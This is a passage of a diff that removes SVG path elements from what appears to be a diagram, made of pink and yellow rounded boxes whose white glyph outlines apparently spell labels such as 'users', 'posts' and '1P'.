L387.774047,372.575595 L387.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,353.5403 L282.16272,353.5403 C282.16272,349.733659 285.248627,346.647783 289.055268,346.647783 L338.766268,346.647783 C340.59427,346.647783 342.347414,347.373949 343.640017,348.666551 C344.932619,349.959154 345.658785,351.712297 345.658785,353.5403 L345.658785,381.109575 C345.658785,384.916216 342.572908,388.002123 338.766268,388.002123 L289.055268,388.002123 C285.248627,388.002123 282.16272,384.916216 282.16272,381.109575 L282.16272,353.5403 Z" id="Path" fill="#F04E98"></path>
-                <path d="M300.84827,363.68497 L300.84827,362.46622 C300.202437,363.40372 299.322228,363.87247 298.207645,363.87247 C297.718062,363.87247 297.259728,363.77872 296.832645,363.59122 C296.415978,363.40372 296.103478,363.169345 295.895145,362.888095 C295.686812,362.596428 295.540978,362.24747 295.457645,361.84122 C295.405562,361.55997 295.37952,361.12247 295.37952,360.52872 L295.37952,355.388095 L296.78577,355.388095 L296.78577,359.981845 C296.78577,360.721428 296.811812,361.21622 296.863895,361.46622 C296.957645,361.84122 297.145145,362.132887 297.426395,362.34122 C297.718062,362.549553 298.072228,362.65372 298.488895,362.65372 C298.915978,362.65372 299.311812,362.549553 299.676395,362.34122 C300.051395,362.12247 300.311812,361.825595 300.457645,361.450595 C300.613895,361.075595 300.69202,360.533928 300.69202,359.825595 L300.69202,355.388095 L302.09827,355.388095 L302.09827,363.68497 L300.84827,363.68497 Z M303.746708,361.200595 L305.137333,360.981845 C305.210249,361.544345 305.423791,361.976637 305.777958,362.27872 C306.142541,362.570387 306.642541,362.71622 307.277958,362.71622 C307.923791,362.71622 308.402958,362.586012 308.715458,362.325595 C309.027958,362.054762 309.184208,361.742262 309.184208,361.388095 C309.184208,361.075595 309.048791,360.825595 308.777958,360.638095 C308.580041,360.513095 308.100874,360.356845 307.340458,360.169345 C306.309208,359.908928 305.590458,359.68497 305.184208,359.49747 C304.788374,359.299553 304.486291,359.033928 304.277958,358.700595 C304.080041,358.367262 303.981083,357.99747 303.981083,357.59122 C303.981083,357.21622 304.064416,356.87247 304.231083,356.55997 C304.397749,356.24747 304.626916,355.987053 304.918583,355.77872 C305.137333,355.612053 305.434208,355.476637 305.809208,355.37247 C306.194624,355.257887 306.600874,355.200595 307.027958,355.200595 C307.684208,355.200595 308.257124,355.294345 308.746708,355.481845 C309.236291,355.669345 309.595666,355.924553 309.824833,356.24747 C310.064416,356.55997 310.231083,356.987053 310.324833,357.52872 L308.949833,357.71622 C308.887333,357.289137 308.705041,356.955803 308.402958,356.71622 C308.100874,356.476637 307.678999,356.356845 307.137333,356.356845 C306.491499,356.356845 306.027958,356.46622 305.746708,356.68497 C305.475874,356.893303 305.340458,357.138095 305.340458,357.419345 C305.340458,357.606845 305.397749,357.773512 305.512333,357.919345 C305.626916,358.065178 305.803999,358.190178 306.043583,358.294345 C306.189416,358.346428 306.606083,358.46622 307.293583,358.65372 C308.283166,358.914137 308.975874,359.132887 309.371708,359.30997 C309.767541,359.476637 310.074833,359.721428 310.293583,360.044345 C310.522749,360.367262 310.637333,360.768303 310.637333,361.24747 C310.637333,361.71622 310.496708,362.158928 310.215458,362.575595 C309.944624,362.981845 309.548791,363.299553 309.027958,363.52872 C308.517541,363.757887 307.939416,363.87247 307.293583,363.87247 C306.210249,363.87247 305.387333,363.648512 304.824833,363.200595 C304.262333,362.752678 303.902958,362.086012 303.746708,361.200595 Z M317.981083,361.013095 L319.434208,361.18497 C319.205041,362.039137 318.777958,362.700595 318.152958,363.169345 C317.538374,363.638095 316.751916,363.87247 315.793583,363.87247 C314.574833,363.87247 313.611291,363.49747 312.902958,362.74747 C312.194624,361.99747 311.840458,360.950595 311.840458,359.606845 C311.840458,358.211012 312.199833,357.127678 312.918583,356.356845 C313.637333,355.586012 314.569624,355.200595 315.715458,355.200595 C316.819624,355.200595 317.720666,355.580803 318.418583,356.34122 C319.126916,357.09122 319.481083,358.148512 319.481083,359.513095 C319.481083,359.596428 319.481083,359.721428 319.481083,359.888095 L313.293583,359.888095 C313.345666,360.804762 313.600874,361.507887 314.059208,361.99747 C314.527958,362.476637 315.106083,362.71622 315.793583,362.71622 C316.314416,362.71622 316.757124,362.580803 317.121708,362.30997 C317.486291,362.039137 317.772749,361.606845 317.981083,361.013095 Z M313.371708,358.731845 L317.996708,358.731845 C317.934208,358.033928 317.757124,357.513095 317.465458,357.169345 C317.017541,356.627678 316.439416,356.356845 315.731083,356.356845 C315.085249,356.356845 314.538374,356.575595 314.090458,357.013095 C313.652958,357.440178 313.413374,358.013095 313.371708,358.731845 Z M321.19202,363.68497 L321.19202,355.388095 L322.457645,355.388095 L322.457645,356.638095 C322.780562,356.054762 323.077437,355.669345 323.34827,355.481845 C323.619103,355.294345 323.921187,355.200595 324.25452,355.200595 C324.72327,355.200595 325.202437,355.351637 325.69202,355.65372 L325.207645,356.950595 C324.863895,356.752678 324.520145,356.65372 324.176395,356.65372 C323.874312,356.65372 323.59827,356.74747 323.34827,356.93497 C323.108687,357.112053 322.936812,357.367262 322.832645,357.700595 C322.676395,358.200595 322.59827,358.74747 322.59827,359.34122 L322.59827,363.68497 L321.19202,363.68497 Z M325.97327,361.200595 L327.363895,360.981845 C327.436812,361.544345 327.650353,361.976637 328.00452,362.27872 C328.369103,362.570387 328.869103,362.71622 329.50452,362.71622 C330.150353,362.71622 330.62952,362.586012 330.94202,362.325595 C331.25452,362.054762 331.41077,361.742262 331.41077,361.388095 C331.41077,361.075595 331.275353,360.825595 331.00452,360.638095 C330.806603,360.513095 330.327437,360.356845 329.56702,360.169345 C328.53577,359.908928 327.81702,359.68497 327.41077,359.49747 C327.014937,359.299553 326.712853,359.033928 326.50452,358.700595 C326.306603,358.367262 326.207645,357.99747 326.207645,357.59122 C326.207645,357.21622 326.290978,356.87247 326.457645,356.55997 C326.624312,356.24747 326.853478,355.987053 327.145145,355.77872 C327.363895,355.612053 327.66077,355.476637 328.03577,355.37247 C328.421187,355.257887 328.827437,355.200595 329.25452,355.200595 C329.91077,355.200595 330.483687,355.294345 330.97327,355.481845 C331.462853,355.669345 331.822228,355.924553 332.051395,356.24747 C332.290978,356.55997 332.457645,356.987053 332.551395,357.52872 L331.176395,357.71622 C331.113895,357.289137 330.931603,356.955803 330.62952,356.71622 C330.327437,356.476637 329.905562,356.356845 329.363895,356.356845 C328.718062,356.356845 328.25452,356.46622 327.97327,356.68497 C327.702437,356.893303 327.56702,357.138095 327.56702,357.419345 C327.56702,357.606845 327.624312,357.773512 327.738895,357.919345 C327.853478,358.065178 328.030562,358.190178 328.270145,358.294345 C328.415978,358.346428 328.832645,358.46622 329.520145,358.65372 C330.509728,358.914137 331.202437,359.132887 331.59827,359.30997 C331.994103,359.476637 332.301395,359.721428 332.520145,360.044345 C332.749312,360.367262 332.863895,360.768303 332.863895,361.24747 C332.863895,361.71622 332.72327,362.158928 332.44202,362.575595 C332.171187,362.981845 331.775353,363.299553 331.25452,363.52872 C330.744103,363.757887 330.165978,363.87247 329.520145,363.87247 C328.436812,363.87247 327.613895,363.648512 327.051395,363.200595 C326.488895,362.752678 326.12952,362.086012 325.97327,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M310.09436,382.68497 L308.68811,382.68497 L308.68811,373.71622 C308.34436,374.039137 307.896443,374.362053 307.34436,374.68497 C306.802693,375.007887 306.31311,375.252678 305.87561,375.419345 L305.87561,374.05997 C306.65686,373.68497 307.339152,373.237053 307.922485,372.71622 C308.516235,372.18497 308.93811,371.674553 309.18811,371.18497 L310.09436,371.18497 L310.09436,382.68497 Z M314.258422,382.68497 L314.258422,371.231845 L318.586547,371.231845 C319.346964,371.231845 319.925089,371.268303 320.320922,371.34122 C320.883422,371.43497 321.352172,371.612053 321.727172,371.87247 C322.112589,372.132887 322.419881,372.502678 322.649047,372.981845 C322.888631,373.450595 323.008422,373.971428 323.008422,374.544345 C323.008422,375.513095 322.695922,376.336012 322.070922,377.013095 C321.456339,377.690178 320.336547,378.02872 318.711547,378.02872 L315.774047,378.02872 L315.774047,382.68497 L314.258422,382.68497 Z M315.774047,376.669345 L318.742797,376.669345 C319.721964,376.669345 320.414672,376.487053 320.820922,376.12247 C321.237589,375.757887 321.445922,375.24747 321.445922,374.59122 C321.445922,374.112053 321.320922,373.700595 321.070922,373.356845 C320.831339,373.013095 320.513631,372.789137 320.117797,372.68497 C319.867797,372.612053 319.399047,372.575595 318.711547,372.575595 L315.774047,372.575595 L315.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M354.16272,457.5403 L354.16272,457.5403 C354.16272,453.733659 357.248627,450.647783 361.055268,450.647783 L410.766268,450.647783 C412.59427,450.647783 414.347414,451.373949 415.640017,452.666551 C416.932619,453.959154 417.658785,455.712297 417.658785,457.5403 L417.658785,485.109575 C417.658785,488.916216 414.572908,492.002123 410.766268,492.002123 L361.055268,492.002123 C357.248627,492.002123 354.16272,488.916216 354.16272,485.109575 L354.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,470.87247 L367.85217,459.388095 L369.13342,459.388095 L369.13342,460.46622 C369.435503,460.039137 369.774045,459.721428 370.149045,459.513095 C370.534462,459.304762 370.998003,459.200595 371.53967,459.200595 C372.248003,459.200595 372.873003,459.382887 373.41467,459.74747 C373.956337,460.112053 374.362587,460.627678 374.63342,461.294345 C374.91467,461.950595 375.055295,462.674553 375.055295,463.46622 C375.055295,464.320387 374.899045,465.086012 374.586545,465.763095 C374.284462,466.440178 373.841753,466.961012 373.25842,467.325595 C372.685503,467.690178 372.076128,467.87247 371.430295,467.87247 C370.961545,467.87247 370.53967,467.773512 370.16467,467.575595 C369.800087,467.377678 369.498003,467.127678 369.25842,466.825595 L369.25842,470.87247 L367.85217,470.87247 Z M369.117795,463.575595 C369.117795,464.648512 369.331337,465.440178 369.75842,465.950595 C370.19592,466.461012 370.721962,466.71622 371.336545,466.71622 C371.961545,466.71622 372.498003,466.450595 372.94592,465.919345 C373.393837,465.388095 373.617795,464.570387 373.617795,463.46622 C373.617795,462.40372 373.399045,461.612053 372.961545,461.09122 C372.524045,460.55997 372.003212,460.294345 371.399045,460.294345 C370.805295,460.294345 370.274045,460.575595 369.805295,461.138095 C369.346962,461.700595 369.117795,462.513095 369.117795,463.575595 Z M376.219358,463.52872 C376.219358,461.99747 376.646441,460.862053 377.500608,460.12247 C378.219358,459.507887 379.089149,459.200595 380.109983,459.200595 C381.255816,459.200595 382.188108,459.575595 382.906858,460.325595 C383.636024,461.065178 384.000608,462.096428 384.000608,463.419345 C384.000608,464.481845 383.839149,465.320387 383.516233,465.93497 C383.193316,466.549553 382.724566,467.02872 382.109983,467.37247 C381.505816,467.705803 380.839149,467.87247 380.109983,467.87247 C378.953733,467.87247 378.016233,467.502678 377.297483,466.763095 C376.578733,466.013095 376.219358,464.93497 376.219358,463.52872 Z M377.672483,463.52872 C377.672483,464.59122 377.901649,465.388095 378.359983,465.919345 C378.828733,466.450595 379.412066,466.71622 380.109983,466.71622 C380.807899,466.71622 381.386024,466.450595 381.844358,465.919345 C382.313108,465.388095 382.547483,464.575595 382.547483,463.481845 C382.547483,462.461012 382.313108,461.68497 381.844358,461.15372 C381.386024,460.62247 380.807899,460.356845 380.109983,460.356845 C379.412066,460.356845 378.828733,460.62247 378.359983,461.15372 C377.901649,461.674553 377.672483,462.46622 377.672483,463.52872 Z M385.086545,465.200595 L386.47717,464.981845 C386.550087,465.544345 386.763628,465.976637 387.117795,466.27872 C387.482378,466.570387 387.982378,466.71622 388.617795,466.71622 C389.263628,466.71622 389.742795,466.586012 390.055295,466.325595 C390.367795,466.054762 390.524045,465.742262 390.524045,465.388095 C390.524045,465.075595 390.388628,464.825595 390.117795,464.638095 C389.919878,464.513095 389.440712,464.356845 388.680295,464.169345 C387.649045,463.908928 386.930295,463.68497 386.524045,463.49747 C386.128212,463.299553 385.826128,463.033928 385.617795,462.700595 C385.419878,462.367262 385.32092,461.99747 385.32092,461.59122 C385.32092,461.21622 385.404253,460.87247 385.57092,460.55997 C385.737587,460.24747 385.966753,459.987053 386.25842,459.77872 C386.47717,459.612053 386.774045,459.476637 387.149045,459.37247 C387.534462,459.257887 387.940712,459.200595 388.367795,459.200595 C389.024045,459.200595 389.596962,459.294345 390.086545,459.481845 C390.576128,459.669345 390.935503,459.924553 391.16467,460.24747 C391.404253,460.55997 391.57092,460.987053 391.66467,461.52872 L390.28967,461.71622 C390.22717,461.289137 390.044878,460.955803 389.742795,460.71622 C389.440712,460.476637 389.018837,460.356845 388.47717,460.356845 C387.831337,460.356845 387.367795,460.46622 387.086545,460.68497 C386.815712,460.893303 386.680295,461.138095 386.680295,461.419345 C386.680295,461.606845 386.737587,461.773512 386.85217,461.919345 C386.966753,462.065178 387.143837,462.190178 387.38342,462.294345 C387.529253,462.346428 387.94592,462.46622 388.63342,462.65372 C389.623003,462.914137 390.315712,463.132887 390.711545,463.30997 C391.107378,463.476637 391.41467,463.721428 391.63342,464.044345 C391.862587,464.367262 391.97717,464.768303 391.97717,465.24747 C391.97717,465.71622 391.836545,466.158928 391.555295,466.575595 C391.284462,466.981845 390.888628,467.299553 390.367795,467.52872 C389.857378,467.757887 389.279253,467.87247 388.63342,467.87247 C387.550087,467.87247 386.72717,467.648512 386.16467,467.200595 C385.60217,466.752678 385.242795,466.086012 385.086545,465.200595 Z M396.711545,466.419345 L396.91467,467.669345 C396.518837,467.752678 396.16467,467.794345 395.85217,467.794345 C395.341753,467.794345 394.94592,467.71622 394.66467,467.55997 C394.38342,467.393303 394.185503,467.179762 394.07092,466.919345 C393.956337,466.648512 393.899045,466.09122 393.899045,465.24747 L393.899045,460.481845 L392.867795,460.481845 L392.867795,459.388095 L393.899045,459.388095 L393.899045,457.325595 L395.305295,456.481845 L395.305295,459.388095 L396.711545,459.388095 L396.711545,460.481845 L395.305295,460.481845 L395.305295,465.325595 C395.305295,465.731845 395.326128,465.992262 395.367795,466.106845 C395.419878,466.221428 395.503212,466.315178 395.617795,466.388095 C395.732378,466.450595 395.893837,466.481845 396.10217,466.481845 C396.25842,466.481845 396.461545,466.461012 396.711545,466.419345 Z M397.531858,465.200595 L398.922483,464.981845 C398.995399,465.544345 399.208941,465.976637 399.563108,466.27872 C399.927691,466.570387 400.427691,466.71622 401.063108,466.71622 C401.708941,466.71622 402.188108,466.586012 402.500608,466.325595 C402.813108,466.054762 402.969358,465.742262 402.969358,465.388095 C402.969358,465.075595 402.833941,464.825595 402.563108,464.638095 C402.365191,464.513095 401.886024,464.356845 401.125608,464.169345 C400.094358,463.908928 399.375608,463.68497 398.969358,463.49747 C398.573524,463.299553 398.271441,463.033928 398.063108,462.700595 C397.865191,462.367262 397.766233,461.99747 397.766233,461.59122 C397.766233,461.21622 397.849566,460.87247 398.016233,460.55997 C398.182899,460.24747 398.412066,459.987053 398.703733,459.77872 C398.922483,459.612053 399.219358,459.476637 399.594358,459.37247 C399.979774,459.257887 400.386024,459.200595 400.813108,459.200595 C401.469358,459.200595 402.042274,459.294345 402.531858,459.481845 C403.021441,459.669345 403.380816,459.924553 403.609983,460.24747 C403.849566,460.55997 404.016233,460.987053 404.109983,461.52872 L402.734983,461.71622 C402.672483,461.289137 402.490191,460.955803 402.188108,460.71622 C401.886024,460.476637 401.464149,460.356845 400.922483,460.356845 C400.276649,460.356845 399.813108,460.46622 399.531858,460.68497 C399.261024,460.893303 399.125608,461.138095 399.125608,461.419345 C399.125608,461.606845 399.182899,461.773512 399.297483,461.919345 C399.412066,462.065178 399.589149,462.190178 399.828733,462.294345 C399.974566,462.346428 400.391233,462.46622 401.078733,462.65372 C402.068316,462.914137 402.761024,463.132887 403.156858,463.30997 C403.552691,463.476637 403.859983,463.721428 404.078733,464.044345 C404.307899,464.367262 404.422483,464.768303 404.422483,465.24747 C404.422483,465.71622 404.281858,466.158928 404.000608,466.575595 C403.729774,466.981845 403.333941,467.299553 402.813108,467.52872 C402.302691,467.757887 401.724566,467.87247 401.078733,467.87247 C399.995399,467.87247 399.172483,467.648512 398.609983,467.200595 C398.047483,466.752678 397.688108,466.086012 397.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M376.7975,483.65372 L378.20375,483.46622 C378.370417,484.268303 378.646458,484.846428 379.031875,485.200595 C379.417292,485.544345 379.89125,485.71622 380.45375,485.71622 C381.11,485.71622 381.667292,485.487053 382.125625,485.02872 C382.583958,484.570387 382.813125,484.002678 382.813125,483.325595 C382.813125,482.679762 382.599583,482.148512 382.1725,481.731845 C381.755833,481.315178 381.219375,481.106845 380.563125,481.106845 C380.302708,481.106845 379.974583,481.158928 379.57875,481.263095 L379.735,480.02872 C379.82875,480.039137 379.901667,480.044345 379.95375,480.044345 C380.557917,480.044345 381.099583,479.888095 381.57875,479.575595 C382.057917,479.263095 382.2975,478.77872 382.2975,478.12247 C382.2975,477.612053 382.120417,477.190178 381.76625,476.856845 C381.4225,476.513095 380.974583,476.34122 380.4225,476.34122 C379.870417,476.34122 379.412083,476.513095 379.0475,476.856845 C378.682917,477.200595 378.448542,477.71622 378.344375,478.40372 L376.938125,478.15372 C377.115208,477.205803 377.505833,476.476637 378.11,475.96622 C378.724583,475.445387 379.485,475.18497 380.39125,475.18497 C381.01625,475.18497 381.589167,475.320387 382.11,475.59122 C382.64125,475.851637 383.042292,476.21622 383.313125,476.68497 C383.594375,477.143303 383.735,477.632887 383.735,478.15372 C383.735,478.65372 383.599583,479.106845 383.32875,479.513095 C383.068333,479.919345 382.677708,480.242262 382.156875,480.481845 C382.833958,480.638095 383.36,480.961012 383.735,481.450595 C384.11,481.940178 384.2975,482.554762 384.2975,483.294345 C384.2975,484.294345 383.932917,485.143303 383.20375,485.84122 C382.474583,486.539137 381.552708,486.888095 380.438125,486.888095 C379.438125,486.888095 378.604792,486.59122 377.938125,485.99747 C377.271458,485.393303 376.89125,484.612053 376.7975,483.65372 Z M386.258438,486.68497 L386.258438,475.231845 L390.586563,475.231845 C391.346979,475.231845 391.925104,475.268303 392.320938,475.34122 C392.883438,475.43497 393.352188,475.612053 393.727188,475.87247 C394.112604,476.132887 394.419896,476.502678 394.649063,476.981845 C394.888646,477.450595 395.008438,477.971428 395.008438,478.544345 C395.008438,479.513095 394.695938,480.336012 394.070938,481.013095 C393.456354,481.690178 392.336563,482.02872 390.711563,482.02872 L387.774063,482.02872 L387.774063,486.68497 L386.258438,486.68497 Z M387.774063,480.669345 L390.742813,480.669345 C391.721979,480.669345 392.414688,480.487053 392.820938,480.12247 C393.237604,479.757887 393.445938,479.24747 393.445938,478.59122 C393.445938,478.112053 393.320938,477.700595 393.070938,477.356845 C392.831354,477.013095 392.513646,476.789137 392.117813,476.68497 C391.867813,476.612053 391.399063,476.575595 390.711563,476.575595 L387.774063,476.575595 L387.774063,480.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,457.5403 L282.16272,457.5403 C282.16272,453.733659 285.248627,450.647783 289.055268,450.647783 L338.766268,450.647783 C340.59427,450.647783 342.347414,451.373949 343.640017,452.666551 C344.932619,453.959154 345.658785,455.712297 345.658785,457.5403 L345.658785,485.109575 C345.658785,488.916216 342.572908,492.002123 338.766268,492.002123 L289.055268,492.002123 C285.248627,492.002123 282.16272,488.916216 282.16272,485.109575 L282.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M295.85217,470.87247 L295.85217,459.388095 L297.13342,459.388095 L297.13342,460.46622 C297.435503,460.039137 297.774045,459.721428 298.149045,459.513095 C298.534462,459.304762 298.998003,459.200595 299.53967,459.200595 C300.248003,459.200595 300.873003,459.382887 301.41467,459.74747 C301.956337,460.112053 302.362587,460.627678 302.63342,461.294345 C302.91467,461.950595 303.055295,462.674553 303.055295,463.46622 C303.055295,464.320387 302.899045,465.086012 302.586545,465.763095 C302.284462,466.440178 301.841753,466.961012 301.25842,467.325595 C300.685503,467.690178 300.076128,467.87247 299.430295,467.87247 C298.961545,467.87247 298.53967,467.773512 298.16467,467.575595 C297.800087,467.377678 297.498003,467.127678 297.25842,466.825595 L297.25842,470.87247 L295.85217,470.87247 Z M297.117795,463.575595 C297.117795,464.648512 297.331337,465.440178 297.75842,465.950595 C298.19592,466.461012 298.721962,466.71622 299.336545,466.71622 C299.961545,466.71622 300.498003,466.450595 300.94592,465.919345 C301.393837,465.388095 301.617795,464.570387 301.617795,463.46622 C301.617795,462.40372 301.399045,461.612053 300.961545,461.09122 C300.524045,460.55997 300.003212,460.294345 299.399045,460.294345 C298.805295,460.294345 298.274045,460.575595 297.805295,461.138095 C297.346962,461.700595 297.117795,462.513095 297.117795,463.575595 Z M304.219358,463.52872 C304.219358,461.99747 304.646441,460.862053 305.500608,460.12247 C306.219358,459.507887 307.089149,459.200595 308.109983,459.200595 C309.255816,459.200595 310.188108,459.575595 310.906858,460.325595 C311.636024,461.065178 312.000608,462.096428 312.000608,463.419345 C312.000608,464.481845 311.839149,465.320387 311.516233,465.93497 C311.193316,466.549553 310.724566,467.02872 310.109983,467.37247 C309.505816,467.705803 308.839149,467.87247 308.109983,467.87247 C306.953733,467.87247 306.016233,467.502678 305.297483,466.763095 C304.578733,466.013095 304.219358,464.93497 304.219358,463.52872 Z M305.672483,463.52872 C305.672483,464.59122 305.901649,465.388095 306.359983,465.919345 C306.828733,466.450595 307.412066,466.71622 308.109983,466.71622 C308.807899,466.71622 309.386024,466.450595 309.844358,465.919345 C310.313108,465.388095 310.547483,464.575595 310.547483,463.481845 C310.547483,462.461012 310.313108,461.68497 309.844358,461.15372 C309.386024,460.62247 308.807899,460.356845 308.109983,460.356845 C307.412066,460.356845 306.828733,460.62247 306.359983,461.15372 C305.901649,461.674553 305.672483,462.46622 305.672483,463.52872 Z M313.086545,465.200595 L314.47717,464.981845 C314.550087,465.544345 314.763628,465.976637 315.117795,466.27872 C315.482378,466.570387 315.982378,466.71622 316.617795,466.71622 C317.263628,466.71622 317.742795,466.586012 318.055295,466.325595 C318.367795,466.054762 318.524045,465.742262 318.524045,465.388095 C318.524045,465.075595 318.388628,464.825595 318.117795,464.638095 C317.919878,464.513095 317.440712,464.356845 316.680295,464.169345 C315.649045,463.908928 314.930295,463.68497 314.524045,463.49747 C314.128212,463.299553 313.826128,463.033928 313.617795,462.700595 C313.419878,462.367262 313.32092,461.99747 313.32092,461.59122 C313.32092,461.21622 313.404253,460.87247 313.57092,460.55997 C313.737587,460.24747 313.966753,459.987053 314.25842,459.77872 C314.47717,459.612053 314.774045,459.476637 315.149045,459.37247 C315.534462,459.257887 315.940712,459.200595 316.367795,459.200595 C317.024045,459.200595 317.596962,459.294345 318.086545,459.481845 C318.576128,459.669345 318.935503,459.924553 319.16467,460.24747 C319.404253,460.55997 319.57092,460.987053 319.66467,461.52872 L318.28967,461.71622 C318.22717,461.289137 318.044878,460.955803 317.742795,460.71622 C317.440712,460.476637 317.018837,460.356845 316.47717,460.356845 C315.831337,460.356845 315.367795,460.46622 315.086545,460.68497 C314.815712,460.893303 314.680295,461.138095 314.680295,461.419345 C314.680295,461.606845 314.737587,461.773512 314.85217,461.919345 C314.966753,462.065178 315.143837,462.190178 315.38342,462.294345 C315.529253,462.346428 315.94592,462.46622 316.63342,462.65372 C317.623003,462.914137 318.315712,463.132887 318.711545,463.30997 C319.107378,463.476637 319.41467,463.721428 319.63342,464.044345 C319.862587,464.367262 319.97717,464.768303 319.97717,465.24747 C319.97717,465.71622 319.836545,466.158928 319.555295,466.575595 C319.284462,466.981845 318.888628,467.299553 318.367795,467.52872 C317.857378,467.757887 317.279253,467.87247 316.63342,467.87247 C315.550087,467.87247 314.72717,467.648512 314.16467,467.200595 C313.60217,466.752678 313.242795,466.086012 313.086545,465.200595 Z M324.711545,466.419345 L324.91467,467.669345 C324.518837,467.752678 324.16467,467.794345 323.85217,467.794345 C323.341753,467.794345 322.94592,467.71622 322.66467,467.55997 C322.38342,467.393303 322.185503,467.179762 322.07092,466.919345 C321.956337,466.648512 321.899045,466.09122 321.899045,465.24747 L321.899045,460.481845 L320.867795,460.481845 L320.867795,459.388095 L321.899045,459.388095 L321.899045,457.325595 L323.305295,456.481845 L323.305295,459.388095 L324.711545,459.388095 L324.711545,460.481845 L323.305295,460.481845 L323.305295,465.325595 C323.305295,465.731845 323.326128,465.992262 323.367795,466.106845 C323.419878,466.221428 323.503212,466.315178 323.617795,466.388095 C323.732378,466.450595 323.893837,466.481845 324.10217,466.481845 C324.25842,466.481845 324.461545,466.461012 324.711545,466.419345 Z M325.531858,465.200595 L326.922483,464.981845 C326.995399,465.544345 327.208941,465.976637 327.563108,466.27872 C327.927691,466.570387 328.427691,466.71622 329.063108,466.71622 C329.708941,466.71622 330.188108,466.586012 330.500608,466.325595 C330.813108,466.054762 330.969358,465.742262 330.969358,465.388095 C330.969358,465.075595 330.833941,464.825595 330.563108,464.638095 C330.365191,464.513095 329.886024,464.356845 329.125608,464.169345 C328.094358,463.908928 327.375608,463.68497 326.969358,463.49747 C326.573524,463.299553 326.271441,463.033928 326.063108,462.700595 C325.865191,462.367262 325.766233,461.99747 325.766233,461.59122 C325.766233,461.21622 325.849566,460.87247 326.016233,460.55997 C326.182899,460.24747 326.412066,459.987053 326.703733,459.77872 C326.922483,459.612053 327.219358,459.476637 327.594358,459.37247 C327.979774,459.257887 328.386024,459.200595 328.813108,459.200595 C329.469358,459.200595 330.042274,459.294345 330.531858,459.481845 C331.021441,459.669345 331.380816,459.924553 331.609983,460.24747 C331.849566,460.55997 332.016233,460.987053 332.109983,461.52872 L330.734983,461.71622 C330.672483,461.289137 330.490191,460.955803 330.188108,460.71622 C329.886024,460.476637 329.464149,460.356845 328.922483,460.356845 C328.276649,460.356845 327.813108,460.46622 327.531858,460.68497 C327.261024,460.893303 327.125608,461.138095 327.125608,461.419345 C327.125608,461.606845 327.182899,461.773512 327.297483,461.919345 C327.412066,462.065178 327.589149,462.190178 327.828733,462.294345 C327.974566,462.346428 328.391233,462.46622 329.078733,462.65372 C330.068316,462.914137 330.761024,463.132887 331.156858,463.30997 C331.552691,463.476637 331.859983,463.721428 332.078733,464.044345 C332.307899,464.367262 332.422483,464.768303 332.422483,465.24747 C332.422483,465.71622 332.281858,466.158928 332.000608,466.575595 C331.729774,466.981845 331.333941,467.299553 330.813108,467.52872 C330.302691,467.757887 329.724566,467.87247 329.078733,467.87247 C327.995399,467.87247 327.172483,467.648512 326.609983,467.200595 C326.047483,466.752678 325.688108,466.086012 325.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M312.1881,485.3256 L312.1881,486.684975 L304.609975,486.684975 C304.599558,486.341225 304.65685,486.0131 304.78185,485.7006 C304.96935,485.190183 305.276642,484.684975 305.703725,484.184975 C306.130808,483.684975 306.745392,483.10685 307.547475,482.4506 C308.787058,481.429767 309.6256,480.622475 310.0631,480.028725 C310.5006,479.424558 310.71935,478.85685 310.71935,478.3256 C310.71935,477.773517 310.521433,477.304767 310.1256,476.91935 C309.729767,476.533933 309.208933,476.341225 308.5631,476.341225 C307.886017,476.341225 307.34435,476.54435 306.9381,476.9506 C306.53185,477.35685 306.328725,477.91935 306.328725,478.6381 L304.8756,478.497475 C304.979767,477.414142 305.354767,476.591225 306.0006,476.028725 C306.646433,475.466225 307.511017,475.184975 308.59435,475.184975 C309.698517,475.184975 310.568308,475.492267 311.203725,476.10685 C311.849558,476.711017 312.172475,477.461017 312.172475,478.35685 C312.172475,478.815183 312.078725,479.268308 311.891225,479.716225 C311.703725,480.153725 311.391225,480.617267 310.953725,481.10685 C310.516225,481.596433 309.792267,482.268308 308.78185,483.122475 C307.9381,483.830808 307.396433,484.315183 307.15685,484.5756 C306.917267,484.8256 306.71935,485.0756 306.5631,485.3256 L312.1881,485.3256 Z M314.258413,486.684975 L314.258413,475.23185 L318.586538,475.23185 C319.346954,475.23185 319.925079,475.268308 320.320913,475.341225 C320.883413,475.434975 321.352163,475.612058 321.727163,475.872475 C322.112579,476.132892 322.419871,476.502683 322.649038,476.98185 C322.888621,477.4506 323.008413,477.971433 323.008413,478.54435 C323.008413,479.5131 322.695913,480.336017 322.070913,481.0131 C321.456329,481.690183 320.336538,482.028725 318.711538,482.028725 L315.774038,482.028725 L315.774038,486.684975 L314.258413,486.684975 Z M315.774038,480.66935 L318.742788,480.66935 C319.721954,480.66935 320.414663,480.487058 320.820913,480.122475 C321.237579,479.757892 321.445913,479.247475 321.445913,478.591225 C321.445913,478.112058 321.320913,477.7006 321.070913,477.35685 C320.831329,477.0131 320.513621,476.789142 320.117788,476.684975 C319.867788,476.612058 319.399038,476.5756 318.711538,476.5756 L315.774038,476.5756 L315.774038,480.66935 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" fill-opacity="0" fill="#000000"></path>
